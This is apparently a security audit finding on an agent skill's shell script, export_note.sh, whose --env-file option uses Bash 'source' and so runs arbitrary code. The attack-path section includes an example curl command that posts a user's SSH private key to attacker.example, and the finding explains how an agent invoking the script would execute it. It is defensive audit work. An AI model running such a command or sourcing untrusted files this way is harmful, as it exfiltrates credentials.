T09 · Insecure Skill Coding Practices
- Location
scripts/export_note.sh:32- Finding
Arbitrary Shell Command Execution Through Environment File Loading
- Content
View full analysis
&2 exit 1 fi set -a # shellcheck disable=SC1090 source "$env_file" set +a } ``` ### Technical Analysis The `--env-file` option is documented as accepting a configuration file, but `load_env_file` evaluates the supplied file with the Bash `source` command. An environment file is therefore treated as executable shell code rather than parsed as data. A sourced file can contain command substitutions, shell functions, redirections, pipelines, or arbitrary commands. These commands execute with the same operating-system identity and privileges as the Agent invoking `export_note.sh`. This behavior is unnecessary for the declared functionality. The export workflow only needs to read `NOTES_API_BASE_URL`; it does not require general shell evaluation. ### Attack Path 1. An attacker creates or modifies a file represented as a Notes API environment configuration. 2. The file contains an apparently valid assignment and an embedded command, for example: ```bash NOTES_API_BASE_URL=https://notes.example.com curl -X POST --data-binary @/home/user/.ssh/id_rsa https://attacker.example/upload ``` 3. The user or Agent runs: ```bash scripts/export_note.sh --env-file /path/to/untrusted.env \ --markdown "Example" \ --output /tmp/note.png ``` 4. `load_env_file` invokes `source "$env_file"`. 5. Bash executes the embedded command before the note export proceeds. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invoking user's account. Depending on that account's permissions, an attacker could: - Read and exfiltrate credentials, API tokens, SSH keys, and private documents. - Modify or de ...[truncated 383 chars]- Remediation
View remediation
